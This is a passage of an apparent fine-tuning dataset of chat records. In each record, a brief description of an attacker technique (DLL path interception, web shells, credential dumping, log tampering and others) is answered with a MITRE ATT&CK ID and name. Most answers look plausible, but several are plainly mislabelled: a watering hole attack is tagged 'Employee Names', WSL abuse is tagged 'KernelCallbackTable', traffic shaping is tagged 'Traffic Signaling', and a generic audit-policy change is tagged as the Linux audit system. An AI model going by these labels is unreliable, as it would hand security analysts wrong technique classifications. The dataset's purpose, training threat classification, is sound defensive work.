                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker places a malicious DLL named \"C:\\Windows\\System32\\svchost.dll\" in a folder whose path contains spaces and is referenced in an unquoted command line, intercepting execution flow and loading the malicious library."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker renamed their malicious PowerShell script to \"svchost.exe\" and placed it in the Windows System32 directory to blend in with legitimate system processes."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged odbcconf.exe to load a malicious DLL as a proxy for executing arbitrary code on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware enumerates all running processes on the compromised host to identify security software."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation module deletes all entries from the Network Connection History and related configuration settings."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performs a credential dumping attack by abusing the SeDebugPrivilege to read another process's memory."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware extracted its encryption key from a BMP image that stored the key using steganographic encoding."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom web shell was uploaded via an insecure admin panel, enabling the attacker to execute system commands and modify web content."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor writes encrypted exfil data into outbound ICMP echo requests, using the victim's public key for encryption and no explicit C2 communication."
            },
            {
                "role": "assistant",
                "content": "T1048.002 - Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary distributed a stripped payload via a malicious macro, ensuring the contained code evaded heuristic analysis."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker initiates a reverse VNC connection from the victim machine to a remote listener to circumvent outbound firewall rules."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker accessed a misconfigured Amazon S3 bucket with open ACLs, exfiltrating configuration files and certificates."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group configures a scheduled transfer via rsync on compromised Unix hosts, moving encrypted files to a remote IP every 30 minutes."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware copies its payload to %SystemRoot%\\System32\\control.exe and then executes it to bypass application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber attackers employ the cloud provider's instance rollback feature to revert a compromised virtual server to its original state, thereby covering their tracks."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider altered the internal wiki pages, inserting false information and brand logos to mislead coworkers."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistent backdoor utilizes BITS to periodically pull updated command scripts from an attacker-controlled URL."
            },
            {
                "role": "assistant",
                "content": "T1197 - BITS Jobs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leveraged a stolen Azure AD application ID and secret to request access tokens from the token endpoint, then used those tokens to impersonate the application."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A crafted exploit targets a patch‑management tool vulnerability, disabling updates and allowing covert persistence."
            },
            {
                "role": "assistant",
                "content": "T1211 - Exploitation for Defense Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining initial access, the attacker creates a C# ASP.NET web shell to execute commands and exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware exploits a vulnerability in the LSASS process to directly read cleartext passwords from memory."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious .jsp web shell is deployed on an enterprise Tomcat server to exfiltrate data and execute system commands."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit leveraged a vulnerability to set the audit backlog limit to 0, causing audit failures."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker captures NTLM password hashes from a compromised machine and uses them to authenticate to other Windows systems without cracking them."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary calls the Windows Credential Manager COM interface to list and retrieve stored credential entries."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hidden process records all typed commands in a terminal session and writes them to a hidden log file."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email contains a macro that enumerates the victim's address book and exfiltrates all email contacts."
            },
            {
                "role": "assistant",
                "content": "T1087.003 - Account Discovery: Email Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor takes over a compromised FTP server used for website uploads, planting trojanized files."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Utilizing a watering hole attack to compromise a website and infect visitors with malware"
            },
            {
                "role": "assistant",
                "content": "T1589.003 - Gather Victim Identity Information: Employee Names"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A supply chain attack altered the build process of a video conferencing tool, inserting malicious code into the final binary."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A high‑profile executive receives an email that looks like it comes from the finance department, containing a link to a fake invoice portal that harvests login credentials when clicked."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit script interrogates the Service Control Manager via the OpenSCManager and EnumServicesStatus functions to gather service details."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through active scanning with a curated wordlist, the threat actor identifies unprotected subdomains and directories."
            },
            {
                "role": "assistant",
                "content": "T1595.003 - Active Scanning: Wordlist Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operator registers a new TLD and creates multiple subdomains for future C2 infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Acquire Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware abuses the Windows Subsystem for Linux (WSL) to execute Linux binaries on a Windows host."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the initialization phase, the attacker registers a malicious login hook that triggers the execution of a credential-stealing tool upon logon."
            },
            {
                "role": "assistant",
                "content": "T1037.002 - Boot or Logon Initialization Scripts: Login Hook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using 'systemctl start' and 'systemctl enable', the attacker activates a newly created service that runs a credential-stealing script."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages NAT traversal to establish a communication channel across a protected network boundary."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor adds a malicious function to a shared library used by both legitimate and privileged processes, facilitating code execution whenever the library is invoked."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker launches a rapid succession of system calls that consume all available threads, causing an OS-level denial of service."
            },
            {
                "role": "assistant",
                "content": "T1499.001 - Endpoint Denial of Service: OS Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor exploits Group Policy Preferences to silently install a ransomware component on domain-joined machines."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor employs a commercial packer to compress and encrypt the malicious DLL, making it appear benign."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries used a botnet of compromised PLCs to disrupt industrial control systems."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker extracts saved Wi‑Fi passwords from the macOS Keychain to connect to protected networks."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker decodes a URL‑encoded string that contains a command to disable security tools."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker corrupts the system’s audit policy settings to reduce the amount of logged security events."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor used a PowerShell script to modify NTFS permissions on a shared network share, giving the adversary write access to exfiltrate files."
            },
            {
                "role": "assistant",
                "content": "T1222 - File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker transfers a custom backdoor via SMB shares to other systems on the network."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries perform traffic shaping to blend malicious data exfiltration with normal network bursts."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Drive‑by compromise using a malicious PDF hosted on a compromised government website that exploits Acrobat Reader."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers eliminate evidence of their persistence by wiping out Service Control Manager entries and startup scripts."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised user’s SSH configuration file, the attacker injects a malicious ProxyCommand that redirects traffic to a controlled server, hijacking the session."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code leverages the proc pseudo‑file system to locate and dump login credentials from active sessions."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker launches a malicious command shell and then masquerades it as a legitimate system process by tampering with the process tree relationships."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromise the build environment of a popular open‑source library, inserting malicious code that later gets compiled into many applications."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a script that issues net user commands to create a domain account with elevated rights."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses a compromised certificate management system to request new certificates for their command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors harvest AS‑REP data from the domain controller by targeting users without pre‑authentication, then use hashcat to recover the password."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker deploys a web shell on a compromised WordPress site to maintain persistence and exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Virus updates the system's hosts file to redirect traffic to malicious servers."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor performed a credential theft, then used sudo with NOPASSWD entries to elevate privileges and install a rootkit on the target Linux host."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker installs a kernel driver that is loaded during boot to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor used previously compromised domain admin credentials to bypass security controls and move laterally across the network."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a signed Office template (.dotm) with a macro that bypasses macro security settings, executing automatically each time Word is opened."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary tools query the SMBIOS tables via the GetSystemInfo API to gather motherboard firmware version and asset tags."
            },
            {
                "role": "assistant",
                "content": "T1592.001 - Gather Victim Host Information: Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware initiates a Windows transaction, stages a malicious executable in the transaction, discards the transaction, and then uses the rolled‑back file to hijack a legitimate process via Process Doppelgänging."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses a PowerShell command to delete the Zone.Identifier metadata from a phishing attachment, evading trust restrictions."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker executed the Windows \"net view\" utility to discover every computer and server present in the domain."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes a patch that removes the logging hooks for terminal commands, effectively impairing command history logging."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An automated tool queries SSL certificates to identify subdomains owned by the target organization."
            },
            {
                "role": "assistant",
                "content": "T1595 - Active Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware deploys a rootkit that tampers with audit logs, erasing evidence of its activity."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers deploy a credential dumping tool that also creates a new account to exfiltrate data later."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages the Outlook Forms feature to embed a VBA macro that executes a download of additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Group Policy, the attacker disables the policy that enables event log collection."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder updates the Computer Configuration section of a GPO to deploy a backdoor executable on all domain-joined machines."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages WMI to execute a remote PowerShell script on multiple endpoints."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
